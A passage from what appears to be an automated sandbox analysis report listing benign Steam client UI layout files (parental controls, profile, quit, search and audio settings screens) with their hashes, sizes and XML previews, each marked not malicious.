Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />.....</styles>.....<ParentalSetEnableCodeChild class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel">..... main panel -->.....<Panel class="ParentalSetEnableCodeDialog BackFamilyGroundImage">......<Label id="Instructions" text="#Parental_Set_EnableCode" />......<Panel class="Spacer" />......<Label text="#Parental_Enter_EnableCode" />........<TextEntry class="ParentalEnableCodeEntry" id="EnableCode".......... textinputclass="HalfWidth DockRight AppearFromBottomCenter".......... undohistory="enabled" />......<Label id="ErrorText" text="#Parental_Wrong_EnableCode" class="ParentalSetEnableCodeError" />.....</Panel>....</Panel>....<Panel id="WizardButtons" tabindex="auto" se

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\setfail.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1075
Entropy (8bit):	5.039384361987269
Encrypted:	false
SSDEEP:
MD5:	607B9AFF637B7FBD83966F5056B34AE4
SHA1:	3B402CBF2509DCE7AC75A5135F17E5B95B17A077
SHA-256:	F3E05A83888F9F2F6447EEADF8F4116409AA081D11992B3AF764666259079A1C
SHA-512:	2E591A88080481CAEEA68D50A7B3EAF2F1EB711C71FE994DA0F5C46BCD7676F29C8F5D9260E9CAC2E6849F3BCF83BEE32D139CF5BDC9003683D0D2AECA74FF31
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalSetFailChild class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel">..... main panel -->.....<Panel id="ErrorTextPanel">......<Label id="DefaultErrorText" text="#Parental_Set_Fail_Unknown" />......<Label id="Timeout" text="#Parental_Set_Fail_Timeout" />.....</Panel>....</Panel>......<Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.....<Button class="WizardButton GapRight" id="ButtonTryAgain" onactivate="WizardButtonBack()">......<Label id="Label" text="#Parental_Set_Fail_TryAgain" />.....</Button>.....<Button class="WizardButton GapRight" id="ButtonCancel" onactivate="WizardButtonCancel()">......<Label id="Label" text="#WizardButton_Ca

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\setinprogress.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.781897831838586
Encrypted:	false
SSDEEP:
MD5:	EE95CFE34337833E78549E516F0FF6A3
SHA1:	1EC41E341DDAF920E08E5202085F12084A4CFDD9
SHA-256:	AD42C35CEC946109430D3BBF8EBAF7E1CB303859DEF277566826FABD854B4426
SHA-512:	6DB76DCDF8A6D69F0107872E2B91C07E9EF243EAEA628CE5276820015A90292ABEAA0DDAE7012C10E9AC94246BB57265AA0507A13880834D106DAEC883EAAEE8
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />.....</styles>.....<ParentalSetInProgressChild class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel">.....<Panel class="ParentalThrobber" />....</Panel>.....</ParentalSetInProgressChild>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\setpin.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1829
Entropy (8bit):	5.083509405764951
Encrypted:	false
SSDEEP:
MD5:	B7490B002215EFECF7544F87EC34B3A8
SHA1:	ADB2E9C78E35620AECD419ADA726E8653D699EF6
SHA-256:	3AB03F002CF5371BF45CD1B45BA9F6C80FB713E71825702EBA3D9E96F0184056
SHA-512:	C485D6E25933E62F2EAC1001EE50AF2EFB431397056001905D60735ABF22FB3E9C6F9D3B73DA146C476E69627F0867D88BA85BD23B87530B7BDE5DA3D68954CF
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />.....</styles>.....<ParentalSetPINChild class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel">..... main panel -->.....<Panel class="ParentalSetPINDialog BackFamilyGroundImage">......<Label id="Instructions" text="#Parental_Set_PIN" />......<Panel class="Spacer" />......<Panel class="ParentalRecoveryEmailEntry" >.......<Label text="#Parental_Enter_PIN" />.......<TextEntry class="ParentalPINEntry" id="Password"......... textinputclass="HalfWidth DockRight AppearFromBottomCenter"......... undohistory="enabled" />......</Panel>......<Panel class="ParentalRecoveryEmailEntry" >.......<Label text="#Parental_Reenter_PIN" />...........<TextEntry class="ParentalPINEntry" id="Pas

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\setrecovery.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1589
Entropy (8bit):	5.080599583884208
Encrypted:	false
SSDEEP:
MD5:	1D9774A313CA62FC2852845F343EF949
SHA1:	8168048D2942A09F8428B0D413A9C4B970A6A96D
SHA-256:	60958DD5FC808D850F36FAAD720A48610DE6C9DA11D8F63DAAB8E5CF728C7472
SHA-512:	40D2606611C51D1FBD7E303B342A5299AEE83E8DAE7E96E39CF7E0B04B65DA71846F6AE3F97063FD384585F6D89D9B879B5A1394E27A356814C89EF740C06CE6
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />.....</styles>.....<ParentalSetRecoveryChild class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel">..... main panel -->.....<Panel class="ParentalSetRecoveryDialog BackFamilyGroundImage">......<Label text="#Parental_Set_Recovery1"/> ......<Label text="#Parental_Set_Recovery2"/> ......<Panel class="Spacer" />.......<Panel class="ParentalRecoveryEmailEntry" >........<Label text="#Parental_Enter_RecoveryEmail" /> ........<TextEntry id="Email".......... textinputclass="HalfWidth DockRight AppearFromBottomCenter".......... undohistory="enabled" />.......</Panel>.....</Panel>....</Panel>....<Panel id="WizardButtons" tabindex="auto" selectionpos="auto">......<Button selectionp

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\setsuccess.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2006
Entropy (8bit):	4.991254902738466
Encrypted:	false
SSDEEP:
MD5:	7A99286572E6CF44D708283AAF786181
SHA1:	B80DC12CB7D0ED6BD5770B8F9150923C846D6AA4
SHA-256:	A2C27094856094ECE0E64A776CF500B0696A0A0B55DC44E3D55D834C104EE208
SHA-512:	D6B0F83409F6B19A36FB760393E4C374C6DAE84A88EB4F3D2CC1CD51220B1178B1BE3B62D26AE5E7476628B91FDA37F23610DBA7B3A9EF9DCECC6F2479257D0B
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<ParentalSetSuccessChild class="WizardChild" defaultfocus="ButtonDone" tabindex="auto" selectionpos="auto">.. <Panel id="Overlay" class="SettingsBottomPanel">.....<Panel id="Set" class="ShowOnSet FlowDown">...... main panel -->......<Label class="SettingsValue" text="#Parental_Set_Success_Title" />......<Label text="#Parental_Set_Success_Instr" />......<Panel id="ParentIcons">.......<Panel class="ParentIcons2">........<Image id="ParentalLockImageLocked" src="file://{images}/locked_acct.png" />........<Label class="SettingsSuccessSubtitle" text="#Parental_Set_Success_FamilyMode" />.......</Panel>.......<Panel class="ParentIcons2">........<Image id="ParentalLockImageUnLocked" src="file://{images}

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\parental\sitelicense_lock.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	732
Entropy (8bit):	4.980235399670732
Encrypted:	false
SSDEEP:
MD5:	F0C4F140B9929F7BDA0C8ECA126AE97B
SHA1:	3E1F394BB46E5956A4AEC94BD167465C87A957F8
SHA-256:	A3F3C67864CECB1C0481481D5A7D82650E115797A94D64EA0B541B69E79CA926
SHA-512:	825FBDD89C22A677AEBBD973FC4F7FC76421619AAA48B230B8C5A75A7B89227EBB00F99E35ED3F2F4E29DE5BA69883C9F30B0900805F4346A90B8B7DB68FF44B
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>......<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/parental/parental.css" />...</styles>.....<SiteLicenseLockPopup class="TenfootMsgBox" tabindex="auto" selectionpos="auto" defaultfocus="OkButton">......<Panel class="ParentalUnlockPopupBody" tabindex="auto">.....<Label class="StdTitle" text="#SiteLicense_LockTitle" />.....<Label id="MsgBoxDescriptionArea" text="#SiteLicense_LockInfo" />.....<Panel id="MsgBoxButtons" >......<Button id="ButtonOK" class="Button" onactivate="ButtonCancel()">.......<Label text="#UI_OK" />......</Button>.....</Panel>....</Panel>...</SiteLicenseLockPopup>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\profile\profile_loading.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1326
Entropy (8bit):	5.150954512370506
Encrypted:	false
SSDEEP:
MD5:	9E8283ADB808F82FAF67BE1EFEA73B4F
SHA1:	B45580BCF695575A979D60430EC10F3C0C77EE17
SHA-256:	65B1AD935EF8F63EA4B61225D1CB78E327A331E1FB72AF0A662004A33DB9DDAF
SHA-512:	8B299A305B87798237C0937C945D82C5043D8D7146E6371FA522397F4588B180EE56A6C73C7EE3009EE5807430463AE277AEF93347C809F0655ACA869DF295F4
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/profile/profile.css" />...</styles>......<ProfilePanel>....<Panel id="ProfileContent" class="ProfileLoading" onload="AsyncEvent( 0.0, AddStyle( LoadingVisible ) );" >.....<Panel id="ProfileBackground" class="ProfileBackground">......<Image id="BGOverlay" class="BGOverlayInvisible" src="file://{images}/profile/profile_bg_wash.png" />......<Panel id="BGScreenshotWrapper">.......<Image id="BGScreenshot" class="BGScreenshot" onload="AddStyle( BGScreenshotVisible ); RemoveStyle( BGScreenshotInvisible ); AddStyle( BGOverlay, BGOverlayVisible ); RemoveStyle( BGOverlay, BGOverlayInvisible );" />......</Panel>.....</Panel>.....<Button id="Loading">......<Label id="LoadingStatus" text="#Profile_Loading" />......<LoadingThrobber />.....</Button>.....<Panel id="Offline">......<Panel id="OfflineMessage">.......<Label id="OfflineStatus1" text="#You_Are_Offline" />.......<Label

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\profile\profile_options.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	4.829156742790782
Encrypted:	false
SSDEEP:
MD5:	310BB5D1E50876ED3C7FB312FCE04A90
SHA1:	D464818E2D8D37B0F36BA6A54DD507AF0205320F
SHA-256:	7FCFEF3D382D85FE33FF0693D5C304A428F82EE092CB7A1F37FEAC7128087F27
SHA-512:	087D448E3A4CA85AB82FC9CD541F7DA4E619B028994F507BC65B1834A37B6760E2978FD5283107C83E1635A62173A984EE46F539706946A252ED790CF8769D48
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu.css" />....<include src="file://{resources}/styles/friends/friends.css" />....<include src="file://{resources}/styles/friends/friends_profile_details.css" />...</styles>.....<ProfileOptions defaultfocus="FriendsProfileDetailsActionsList">.........<Panel id="FriendsProfileDetailsBodyRegion" class="FriendsProfileDetailsBodyRegion">......<Panel id="FriendsProfileDetailsCompositeHeader" >.......<Image id="FriendPanelImage" class="FriendsProfileDetailsCompositeHeaderAvatar" />.......<Label id="FriendPersonaName" class="FriendsProfileDetailsCompositeHeaderName" />.......<Label id="FriendStatus" class="FriendsProfileDetailsCompositeHeaderState" />.......<Label id="FriendStatusDetail" class="FriendsProfileDetailsCompositeHeaderStatusDetail" />......</Panel>........<Panel id="FriendsProfileDetailsActionsList" tabindex="auto" selectionpos="auto" childfocusonhover="

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\profile\profile_wrapper.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	799
Entropy (8bit):	4.83550848962503
Encrypted:	false
SSDEEP:
MD5:	179FDF79C959C66447314529F61D0B1B
SHA1:	52859AAA098ED2429E9A6FA2ADCBBB0683C097C2
SHA-256:	ACB68687D04B23FD19B8D80EB55B17338287A9585BC2F437E694CC850CD04040
SHA-512:	73AE41CD3DBCDB1B73777427B95F60B3685B70EFD7B76AA7D29E1F6B22D7443D92A9309B22BD583F5B041917A1B82608FEDAC1F606D4E0A31739217565E5E4A2
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/mainmenu_communitybackground.css"/>....<include src="file://{resources}/styles/friends/community_main.css"/>....<include src="file://{resources}/styles/profile/profile.css" />...</styles>......<ProfileWrapper defaultfocus="FriendActivityButton">....<ProfilePanel id="ProfileMenu" class="ProfilePanel" />....<Label id="SpoofNotice" text="#Community_SpoofNotice" />....<ProfilePanel id="Profile" class="ProfilePanel" />....<ProfilePanel id="FriendActivity" class="ProfilePanel" />....<ProfilePanel id="Inventory" class="ProfilePanel" />....<ProfilePanel id="Trade" class="ProfilePanel" />....<ProfilePanel id="TradeOffers" class="ProfilePanel" />...</ProfileWrapper>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\quit.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	4.873682566587974
Encrypted:	false
SSDEEP:
MD5:	D03D33E8FC980613DE6DF34022B605AF
SHA1:	AB65F0CC2BE82B6BD3F29BF2D9A2502D3D4465AF
SHA-256:	04F78F0D652A643D1F61A2D59D72370189D297EFCADD2D56F77397DC951FAAB5
SHA-512:	3E31C5ECF22A959A0AA3F0881D4EAE6AECBC42B20972D0DC5B3D62FF72C992F4D20FAEFAFFBD805B277C264492B10BD3D2FFC2449DBC5B67140D172CE86833CB
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/quit.css" />...</styles>......<QuitDialog class="TenfootMsgBox" onmouseactivate="CloseModalDialog()">....<QuitEntriesPanel id="QuitDialogButtonParent" class="ContextMenuBody">....</QuitEntriesPanel>...</QuitDialog>.....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\quitentries.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6502
Entropy (8bit):	5.170471835675801
Encrypted:	false
SSDEEP:
MD5:	FAD96E757E78E316DE149AC3475C3CBF
SHA1:	60D2DE394159CA9FF9F1A8603377181FDEF4B49E
SHA-256:	D3DBDBE58627C238BBDA60F854F96AB6EC5CC82743887983769B7D9112F7A953
SHA-512:	0281A5B668F3659F9340E8ED3887BF38E7C0FA0577275E5012471EDB6E2A00133E3B15BF39AE1F49845882B9FEBAD5521510F5AEB7A7E23930A9AE10A0AFC12D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/quit.css" />...</styles>......<QuitEntriesPanel tabindex="auto" selectionpos="none" childfocusonhover="true">.... Streaming options -->....<Panel class="ContainerPanelFlowDown StreamingVisible0" selectionpos="0,0">.....<Label class="QuitSectionHeader StreamingVisible0" text="#Quit_LabelStreamingClient0"/>.....<Button class="SystemButton StreamingVisible0 Button" onactivate="CloseModalDialog(); AsyncEvent( 0.5, StopStreaming( 0 ) )" selectionpos="0,1">......<Label text="#Quit_StopStreaming" />.....</Button>.....<Button class="SystemButton StreamingClientCanSuspendVisible0 Button" onactivate="CloseModalDialog(); AsyncEvent( 0.5, StopStreamingAndSuspendClient( 0 ) )" selectionpos="0,2">......<Label text="#Quit_StopStreamingAndSuspendClient0" />.....</Button>.....<Panel class="QuitSectionSpacer StreamingVis

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\remote\remote_loading.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	5.103488989717429
Encrypted:	false
SSDEEP:
MD5:	9C8BA9BCEC29D57BB694AE5F9B454A51
SHA1:	2578E5E0C302FD02AA29A04EE3CDB99432F0455A
SHA-256:	FD163684428F0916E0660D8195BF394B588FFAA5800E201A73DAB0E5B57B0A2A
SHA-512:	9C3C8D1A7A4F7D8CE37871D23B6E96D77575225FE03F5A62BAF0E790E8AEBE9F2A99F9AFFDE9E74FAAB58B244CA97A9632CA17290D64C824077517729A78718A
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/community/community.css" />....<include src="file://{resources}/styles/remote.css" />...</styles>......<RemotePanel onload="AsyncEvent( 0.0, AddStyle( LoadingVisible ) );" oncancel="NavigateTenfootBack();" >....<Panel class="LoadingPanel">.....<Panel class="Background">......<Image id="BGOverlay" class="BGOverlayInvisible" src="file://{images}/profile/profile_bg_wash.png" />.....</Panel>.....<Panel id="Loading">......<Label id="LoadingStatus" text="#Profile_Loading" />......<LoadingThrobber />.....</Panel>.....<Panel id="Offline">......<Panel id="OfflineMessage">.......<Label id="OfflineStatus1" text="#You_Are_Offline" />.......<Label id="OfflineStatus2" text="#Community_Offline2" />......</Panel>.....</Panel>.....<Panel id="Error">......<Panel id="ErrorMessage">.......<Label id="ErrorStatus1" text="#Panel_Download_Error" />.......<Label id="ErrorStatus2" text="#P

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\remotecontent.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	823
Entropy (8bit):	4.995687806999651
Encrypted:	false
SSDEEP:
MD5:	60A669B28DB8B0B317F02FE19A453846
SHA1:	0882D78DE5508E1210BA7791C65417A27572C74A
SHA-256:	A97FF8C9ED99FAB5978B17D0381B15422F0F12AAD5A6B0416D534D97E218A4EE
SHA-512:	96DE0A48B682B65CB8D4502CE078AC9D4991011563A06C9971D075558AD1B71B9BBC0C56B7604C055A4079DB9AB1EA4F708102695BC199C9BC2E142597099409
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/contentframe.css" />...</styles>......<RemotePanel oncancel="NavigateTenfootBack();" >....<Panel class="LoadingPanel">.....<Button id="Loading">......<Label id="LoadingStatus" text="#Profile_Loading" />......<LoadingThrobber />.....</Button>.....<Panel id="Offline">......<Button id="OfflineMessage">.......<Label id="OfflineStatus1" text="#You_Are_Offline" />.......<Label id="OfflineStatus2" text="#You_Are_Offline2" />......</Button>.....</Panel>.....<Panel id="Error">......<Button id="ErrorMessage">.......<Label id="ErrorStatus1" text="#Panel_Download_Error" />.......<Label id="ErrorStatus2" text="#Panel_Download_Error2" />......</Button>.....</Panel>....</Panel>...</RemotePanel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\search.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1906
Entropy (8bit):	4.970705782424125
Encrypted:	false
SSDEEP:
MD5:	47EEE04F3F0F64702E893B14623A6616
SHA1:	1AC75D52C20B4D53639C8776DA47F1E32545C3CE
SHA-256:	EE612B4F685465200283BF2FA3946393A84BD03EEE5E71E9C060CBBB8E4720AC
SHA-512:	BB6EF5ACB1CC3E2ED5011B4849DAFD5AEC554282DD2B36B18B3F5FBFBE096D5936A32D40C44F3EB16F223A2E48DEFD4E8D7905DA8A3A2D041A6A82742CFC9353
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/search.css" />...</styles>......<SearchDialog class="TenfootMsgBox" defaultfocus="Body" oncancel="ButtonCancel()" onmouseactivate="Cancelled(mouse);" >....<Panel class="DialogRegion" tabindex="auto" selectionpos="auto" onmouseactivate="None();">.. <Label class="Header" id="SearchHeaderTitle" text="#Search_Header" />.......<Panel class="InputRow">......<TextEntry id="Input"...... textinputid="CheckoutFormTextEntry"...... textinputclass="FullWidth AppearFromBottomCenter".. headerlabel="#KeyboardHeader_StoreSearch".. headerdetaillabel="#KeyboardDetail_SearchResultCount" />......<LoadingThrobber class="Small" />.....</Panel>.....<Panel class="SearchDivider" />.....<Panel class="SearchResultsArea">......<Panel id="SearchResults" overscroll-y="100"/>........<Panel id="SearchResultsM

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\search_storeresult.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1055
Entropy (8bit):	4.6034011691846155
Encrypted:	false
SSDEEP:
MD5:	91C610542C6418FAEF70E1A144EF53B8
SHA1:	FD3994FACC68E918A1EEA039A1634A3BA31DEBFB
SHA-256:	FC589B7690EF890BD8DAAF2427136B176913C72D019872873D51DCBEEACC3BD8
SHA-512:	4E3BBA478BF02F7E340D5C49669DA43E6ECC621504384CFE4AE767E3B65306F97529B5F0E7B4730C263C0D73E942E3204990365553E0CE9D869D72781BD4B6C9
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/search.css" />...</styles>......<SearchStoreResult>....<Image id="StoreHeader" />.. <Panel class="details_ctn">.. <Label id="StoreResultName" />.. <Panel class="bottomrow">.. <Label id="StoreResultPrice" />.. <Panel class="DetailsIconRow">.. <Image id="PlatformWindows" src="file://{images}/store/icon_platform_win.png" />.. <Image id="PlatformMac" src="file://{images}/store/icon_platform_mac.png" />.. <Image id="PlatformLinux" src="file://{images}/store/icon_platform_linux.png" />.. <Image id="PlatformStreamingVideo" src="file://{images}/store/icon_platform_streamingvideo.png" />.. <Panel id="IconController" />.. </Panel>.. </Panel

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\search_storesection.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	528
Entropy (8bit):	4.835393784721679
Encrypted:	false
SSDEEP:
MD5:	7F06314FA1204BB4FFA772FFFFEC7BCF
SHA1:	90F8317E4CE88FFA9A2190EC6D3C6A7471708FE5
SHA-256:	4F3A8C5F73FDBB778B7383D9A6B22F9806644A0D833038F4CC08E88810118C43
SHA-512:	35AEB24E9C4FDBA74546DF739B861FA23EB48D11B16972BF50C9F8DE3225B6AAC2FFFBC9F7405583F48023A931A2D3D9C82ADCAC967717A3A37784F8452D12C5
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/msgbox.css" />....<include src="file://{resources}/styles/search.css" />...</styles>......<SearchStoreSection>....<Label id="SectionName" />....<Panel id="IconWrapper">.....<Panel class="ItemIcon" id="WindowsIcon" />.....<Panel class="ItemIcon" id="OSXIcon" />.....<Panel class="ItemIcon" id="LinuxIcon" />.....<Panel class="ItemIcon" id="ControllerIcon" />....</Panel>...</SearchStoreSection>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\audio\settings_audio_card_wiz.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	5.0060173415822025
Encrypted:	false
SSDEEP:
MD5:	61931FC57393E115F2B31B470493B911
SHA1:	53A4CDFCF511703FE3F3E521A6505DD1637C714D
SHA-256:	912F2624A0A00A3179EDA1438CC9DCDFAE4EB15654C6B9EBC1A13DF9A0C10AD8
SHA-512:	9F62287ABCC25DCCFBD937490B62BE35C958736661C52D221B1F84C36963C2BD98785AA1C555EC934150A5F9EB615D44ECA19982023A84EB963187B38DE96C2D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />.....</styles>.....<SettingsPanelAudio_Card class="WizardChild" defaultfocus="Card" tabindex="auto" selectionpos="auto">....<Panel class="WizardContent">.... <Label class="SettingsCallout LongDesc" text="#SettingsAudio_Card_Information" />.... <Panel class="Spacer"/>...... <Panel class="FlowDown" tabindex="auto" selectionpos="auto">..... <Label class="SettingsCallout LongDesc" text="#SettingsAudio_Card_ToDo" />..... <Panel class="Spacer"/>..... <DropDown class="AudioDropDown_Wiz" id="Card" />.... </Panel>.. </Panel>......<Panel id="WizardButtons" tabindex="auto" selectionpos="auto">.....<Button class="WizardButton GapRight" id="ButtonNext" onactivate="WizardButtonNext()">......<Label id="Label" text="#WizardButton_Next" />.....</Button>.....<Button class="WizardButton GapRigh

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\audio\settings_audio_codec_wiz.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1676
Entropy (8bit):	5.081575718388238
Encrypted:	false
SSDEEP:
MD5:	24CBB8C692A3DDA56010BB2F821BCC8A
SHA1:	5A001674CE0712A1270F63B51F27E04B05B50020
SHA-256:	1B64913E8B39DAA4E0C253D8302C57CD6B72172EDF47D6AF1CCDDE7E8346C0B6
SHA-512:	1C5802C86E9E2E8BC9A1E444825231DBD05C8A6E75F005C62C8A406F4ADC495FA35F2871D139E49B564C74FBA61EA113F6CB8A4FB397E489C3B275CD4C1D6EE5
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/wizardstyles.css" />....<include src="file://{resources}/styles/settings.css" />.....</styles>.....<SettingsPanelAudio_Codec class="WizardChild" tabindex="auto" selectionpos="auto">....<Panel class="WizardContent">.....<Label class="SettingsCallout LongDesc" text="#SettingsAudio_Codec_Information" />.....<Panel class="Spacer"/>.......<Panel class="AudioFlow" id="CodecsAvailable" tabindex="auto" selectionpos="auto">......<Label class="SettingsCallout LongDesc" text="#SettingsAudio_Codec_ToDo" />......<Panel class="Spacer"/>......<ToggleButton class="CheckBox AudioCheck" id="SettingsAudio_DTS" text="SettingsAudio_DTS" onactivate="ToggleAudioStreamPassthru();" />......<ToggleButton class="CheckBox AudioCheck" id="SettingsAudio_AC3" text="SettingsAudio_AC3" onactivate="ToggleAudioStreamPassthru();" />......<ToggleButton class="CheckBox AudioCheck" id="SettingsAudio_EA

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\audio\settings_audio_profile_wiz.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1350
Entropy (8bit):	5.0178171810653325
Encrypted:	false
SSDEEP:
MD5:	B554C751919D9C5C3CF10C3E7400FCB1
SHA1:	BCA4B1352D8674B5B51053DF7F1782A0F3F4F857
SHA-256:	655EAC131835492D786479154AD31020615BBFAE9940014EA5200FA077D241F2
SHA-512:	864712867D9A67809B1D073146D05CAE3BD1CAEC95AD11C7B639864A1A26498513BC4192521D22BE48E5FF9F08826546EA5BC694EEA97910D7D3101F1A227DA0
Malicious:	false
Reputation:	unknown
